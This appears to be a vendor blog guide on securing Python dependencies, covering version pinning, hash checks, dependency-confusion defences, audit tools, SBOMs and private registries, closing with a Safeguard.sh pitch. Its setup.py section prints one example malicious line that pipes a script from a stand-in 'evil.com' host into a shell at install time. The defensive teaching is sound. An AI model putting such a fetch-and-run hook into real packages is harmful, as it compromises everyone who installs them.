Python's packaging ecosystem has matured significantly, but its openness still presents real security challenges. PyPI hosts over 400,000 packages, anyone can publish, and the default pip install behavior trusts the registry completely. If you are shipping Python in production, here is how to lock it down.
The Python Supply Chain Threat Landscape
Python is a top target for supply chain attacks. In 2022 alone, researchers identified hundreds of malicious PyPI packages. Common attack patterns include:
- Typosquatting. Packages named
reqeustsorpython-dateutilsthat execute malicious code on install. - Dependency confusion. Attackers publishing public packages that share names with private internal packages, exploiting pip's default resolution order.
- Account takeover. Compromised maintainer credentials used to push backdoored releases.
- Setup.py execution. Python packages can run arbitrary code during installation through
setup.py.
The fundamental problem is that pip install some-package downloads code from the internet and executes it on your machine. Every layer of protection you add reduces the blast radius.
Pin Everything
Version pinning is the single most impactful security measure for Python applications.
requirements.txt
For applications, pin every dependency to an exact version:
flask==2.3.3
requests==2.31.0
sqlalchemy==2.0.21
Never use >= or unpinned requirements in production. A new release of any dependency could introduce vulnerabilities or breaking changes.
pip-compile (pip-tools)
pip-tools is the gold standard for managing Python dependencies. Write your direct dependencies in requirements.in:
flask
requests
sqlalchemy
Then compile to a fully pinned requirements.txt:
pip-compile requirements.in --generate-hashes
This generates a lockfile with exact versions and SHA-256 hashes for every package, including transitive dependencies:
flask==2.3.3 \
--hash=sha256:... \
--hash=sha256:...
requests==2.31.0 \
--hash=sha256:...
Hash verification
When you install with hashes, pip verifies that the downloaded package matches the expected hash. This prevents a compromised mirror or man-in-the-middle attack from injecting modified packages:
pip install --require-hashes -r requirements.txt
If any hash does not match, the install fails. This is the strongest verification pip offers.
Virtual Environments Are Non-Negotiable
Every Python project should use an isolated virtual environment. Mixing dependencies across projects in a global site-packages directory creates confusion and makes auditing impossible.
python -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
In CI/CD, create a fresh virtual environment for every build. Never reuse environments between jobs.
For stronger isolation, consider using pipx for CLI tools and nox or tox for testing across multiple Python versions.
Defending Against Dependency Confusion
Python's pip resolves packages by checking configured indexes in order. If you host internal packages on a private PyPI server, an attacker can publish a package with the same name on public PyPI with a higher version number. pip will prefer the higher version.
Defenses:
- Use
--index-urlfor your private registry and--extra-index-urlonly for public PyPI. This way, private packages are resolved first.
pip install --index-url https://pypi.yourcompany.com/simple/ \
--extra-index-url https://pypi.org/simple/ \
-r requirements.txt
-
Register your internal package names on public PyPI. Publish placeholder packages with the same names to block squatters.
-
Use scoped package names. Some private registries support namespaces. Use them.
-
Pin hashes. If every package has a known hash, a dependency confusion attack will fail hash verification.
Auditing for Vulnerabilities
pip-audit
pip-audit is maintained by the Python Packaging Authority (PyPA) and checks your installed packages against the OSV database:
pip install pip-audit
pip-audit
Run this in CI. It supports multiple output formats and can scan requirements.txt files directly:
pip-audit -r requirements.txt --format=json
Safety
safety checks packages against the Safety DB. It is widely used but note that the free database has a delay compared to commercial feeds.
Bandit
bandit is a static analysis tool for Python source code. It does not check dependencies, but it catches insecure coding patterns like eval(), hardcoded passwords, and insecure deserialization.
setup.py and Build-Time Code Execution
Python packages traditionally use setup.py for build configuration, and this file is executed during pip install. Malicious packages exploit this:
# Malicious setup.py
import os
os.system("curl http://evil.com/steal.sh | sh")
Modern Python packaging is moving toward pyproject.toml with PEP 517/518 build backends that do not require arbitrary code execution. Prefer packages that use pyproject.toml over setup.py.
When evaluating new dependencies, check whether the package uses setup.py with suspicious code. Look for:
- Network calls in
setup.py - Obfuscated strings or base64 decoding
- Subprocess calls
- Importing
ctypesorosin build files
Generating a Python SBOM
CycloneDX provides a pip plugin for SBOM generation:
pip install cyclonedx-bom
cyclonedx-py environment --output sbom.json
This captures your complete dependency tree with versions, hashes, and license information. Generate SBOMs in CI and archive them with your build artifacts.
Private Package Registries
If your organization produces internal Python packages, host them on a private registry:
- AWS CodeArtifact integrates with IAM for authentication.
- Google Artifact Registry supports Python packages natively.
- JFrog Artifactory offers advanced features like virtual repositories.
- GitLab Package Registry is included with GitLab.
Configure pip to authenticate with your private registry:
# pip.conf
[global]
index-url = https://token:${PYPI_TOKEN}@pypi.yourcompany.com/simple/
extra-index-url = https://pypi.org/simple/
Automated Dependency Updates
Use Dependabot or Renovate to keep Python dependencies current. Configure them to:
- Open PRs for security updates immediately.
- Group non-security updates into weekly batches.
- Run your test suite on every dependency update PR.
Stale dependencies are the most common source of known vulnerabilities in production systems.
How Safeguard.sh Helps
Safeguard.sh ingests your Python SBOMs and provides continuous visibility into your dependency risk. It tracks which versions of every package are deployed across your environments, alerts you when new CVEs affect your stack, and helps you prioritize remediation based on actual exploitability. For Python specifically, Safeguard.sh flags packages with known malicious versions on PyPI and monitors your dependency tree for confusion attack indicators. You get a single pane of glass for your entire Python supply chain, across every service and repository.